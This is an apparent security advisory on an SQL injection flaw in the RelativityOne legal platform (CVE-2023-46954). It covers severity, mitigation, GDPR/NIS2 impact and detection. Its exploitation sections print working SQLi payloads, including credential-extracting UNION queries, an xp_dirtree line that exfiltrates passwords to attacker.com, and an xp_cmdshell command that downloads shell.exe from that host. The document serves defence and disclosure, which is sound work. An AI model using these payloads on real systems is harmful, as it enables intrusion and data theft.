Technical Analysis of EUVD-2023-51113 (CVE-2023-46954) – SQL Injection in RelativityOne

1. Vulnerability Assessment & Severity Evaluation

EUVD ID: EUVD-2023-51113 CVE ID: CVE-2023-46954 CVSS v3.1 Base Score: 9.8 (Critical) CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Severity Breakdown

The vulnerability is classified as Critical due to the following factors:

• Attack Vector (AV:N): Exploitable remotely over a network without authentication.
• Attack Complexity (AC:L): Low complexity; no special conditions required.
• Privileges Required (PR:N): No privileges needed; unauthenticated exploitation possible.
• User Interaction (UI:N): No user interaction required.
• Scope (S:U): Impact confined to the vulnerable component (no privilege escalation across security boundaries).
• Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of data confidentiality, integrity, and system availability.

The EPSS (Exploit Prediction Scoring System) score of 14% indicates a high likelihood of exploitation in the wild, reinforcing the urgency of mitigation.

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2. Potential Attack Vectors & Exploitation Methods

Vulnerability Root Cause

The flaw stems from improper input sanitization in the name parameter of RelativityOne, allowing SQL Injection (SQLi). An attacker can manipulate SQL queries by injecting malicious payloads, leading to:

• Arbitrary SQL command execution
• Unauthorized data exfiltration (e.g., sensitive legal, financial, or PII data)
• Database manipulation (e.g., altering records, dropping tables)
• Remote Code Execution (RCE) if the database engine supports command execution (e.g., via xp_cmdshell in MS SQL Server)

Exploitation Methods

1. Classic SQL Injection (Error-Based/Union-Based)

   • Attackers craft malicious input in the name parameter to extract data via:

     ' UNION SELECT 1, username, password FROM users --
     

   • Blind SQLi (Time-Based/Boolean-Based) may be used if error messages are suppressed.

2. Out-of-Band (OOB) Exfiltration

   • If direct data retrieval is blocked, attackers may use DNS or HTTP exfiltration:

     '; EXEC xp_dirtree '//attacker.com/exfil?data=' + (SELECT TOP 1 password FROM users) --
     

3. Remote Code Execution (RCE)

   • If the database runs with elevated privileges, attackers may execute system commands:

     '; EXEC xp_cmdshell 'whoami' --
     

   • Alternatively, file write operations (e.g., INTO OUTFILE in MySQL) could lead to web shell deployment.

4. Privilege Escalation

   • If the application uses a high-privilege database account, attackers may escalate to SYSTEM/root access.

Proof-of-Concept (PoC) Exploitation

A public PoC exists (referenced in GitHub link), demonstrating:

• Unauthenticated SQLi via crafted HTTP requests.
• Data extraction from the RelativityOne backend database.
• Potential RCE if the database engine permits command execution.

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: RelativityOne (by Relativity ODA LLC)
• Affected Versions:
  • v12.1.537.3 Patch 2 and earlier
• Component: Likely a web-facing API or frontend parameter (name) vulnerable to SQLi.

Deployment Context

RelativityOne is a legal and e-discovery platform widely used in:

• Law firms
• Corporate legal departments
• Government agencies (including EU entities)
• Financial institutions

Given its cloud-based deployment, exploitation could lead to large-scale data breaches affecting multiple organizations.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Apply Vendor Patches

   • Upgrade to the latest patched version of RelativityOne (if available).
   • Monitor Relativity ODA LLC’s security advisories for official fixes.

2. Temporary Workarounds

   • Input Validation & Sanitization:
     • Implement strict whitelisting for the name parameter.
     • Use prepared statements (parameterized queries) to prevent SQLi.
   • Web Application Firewall (WAF) Rules:
     • Deploy OWASP ModSecurity Core Rule Set (CRS) to block SQLi attempts.
     • Configure rate limiting to prevent brute-force attacks.
   • Database Hardening:
     • Disable dangerous functions (e.g., xp_cmdshell, LOAD_FILE).
     • Least privilege principle: Restrict database user permissions.
     • Enable logging & monitoring for suspicious SQL queries.

3. Network-Level Protections

   • Restrict access to RelativityOne instances via IP whitelisting.
   • Segment networks to limit lateral movement post-exploitation.

Long-Term Remediation

1. Secure Coding Practices

   • Use ORM (Object-Relational Mapping) frameworks (e.g., Entity Framework, Hibernate) to abstract SQL queries.
   • Implement input validation at both client and server sides.
   • Conduct regular code reviews and static/dynamic application security testing (SAST/DAST).

2. Continuous Monitoring & Threat Detection

   • Deploy SIEM solutions (e.g., Splunk, ELK Stack) to detect SQLi attempts.
   • Enable database auditing to track unauthorized queries.
   • Implement anomaly detection for unusual database activity.

3. Incident Response Planning

   • Develop a playbook for SQLi incidents, including:
     • Containment (isolating affected systems).
     • Forensic analysis (determining data exposure).
     • Notification procedures (GDPR compliance for EU entities).

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Risks

• GDPR Violation Risk:
  • Unauthorized access to Personally Identifiable Information (PII) could trigger Article 33 (Data Breach Notification) and Article 34 (Communication to Data Subjects).
  • Fines up to €20 million or 4% of global revenue (whichever is higher) may apply.
• NIS2 Directive Compliance:
  • RelativityOne may be classified as a critical digital service under NIS2, requiring enhanced security measures and incident reporting.

Sector-Specific Risks

• Legal & Financial Sectors:
  • High-value targets due to sensitive client data (e.g., mergers & acquisitions, litigation documents).
  • Reputational damage could lead to loss of client trust.
• Government & Public Sector:
  • National security implications if exploited by state-sponsored actors.
  • Supply chain risks if third-party legal service providers are compromised.

Threat Actor Motivations

• Cybercriminals: Data theft for extortion (ransomware) or selling on dark web markets.
• State-Sponsored Actors: Espionage targeting legal strategies, intellectual property, or regulatory compliance data.
• Hacktivists: Disruptive attacks against law firms handling controversial cases.

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6. Technical Details for Security Professionals

Exploitation Flow

1. Reconnaissance:
   • Identify vulnerable endpoints via fuzzing or manual testing.
   • Example request:

     GET /api/v1/search?name=' OR 1=1 -- HTTP/1.1
     Host: relativityone.example.com
     

2. SQL Injection Payloads:
   • Database Fingerprinting:

     ' AND (SELECT SUBSTRING(@@version,1,1))='M' --
     

   • Data Exfiltration:

     ' UNION SELECT 1, table_name, 3 FROM information_schema.tables --
     

   • Command Execution (MS SQL):

     '; EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\temp\shell.exe"' --
     

3. Post-Exploitation:
   • Lateral Movement: Compromise other systems via stolen credentials or database links.
   • Persistence: Deploy web shells or backdoors for long-term access.

Detection & Forensics

• Log Analysis:
  • Web Server Logs: Look for unusual SQL keywords (UNION, SELECT, EXEC, --).
  • Database Logs: Monitor for anomalous queries (e.g., xp_cmdshell, INTO OUTFILE).
• Network Traffic:
  • Outbound connections to unknown IPs (OOB exfiltration).
  • DNS queries containing encoded data.
• Endpoint Detection:
  • Unusual process execution (e.g., cmd.exe, powershell.exe spawned by database service).

Tools for Exploitation & Defense

Purpose	Tools
Exploitation	SQLmap, Burp Suite, OWASP ZAP, Metasploit (for RCE)
Detection	Wireshark, Splunk, ELK Stack, Darktrace
Mitigation	ModSecurity, Snort, Suricata, Cloudflare WAF
Forensics	Volatility, Autopsy, FTK Imager, KAPE

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Conclusion & Recommendations

EUVD-2023-51113 (CVE-2023-46954) represents a Critical SQL Injection vulnerability in RelativityOne with high exploitability and severe impact on confidentiality, integrity, and availability. Given its EPSS score of 14%, organizations must prioritize patching and implement compensating controls immediately.

Key Recommendations:

✅ Patch immediately (if available) or apply temporary WAF rules. ✅ Audit database permissions and disable dangerous functions. ✅ Monitor for exploitation attempts via SIEM and IDS/IPS. ✅ Conduct a forensic review if compromise is suspected. ✅ Ensure GDPR/NIS2 compliance in incident response.

Failure to mitigate this vulnerability could result in catastrophic data breaches, regulatory penalties, and reputational damage—particularly for EU-based organizations handling sensitive legal and financial data.

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References:

• GitHub PoC (CVE-2023-46954)
• NVD Entry (CVE-2023-46954)
• OWASP SQL Injection Prevention Cheat Sheet
• ENISA Threat Landscape Report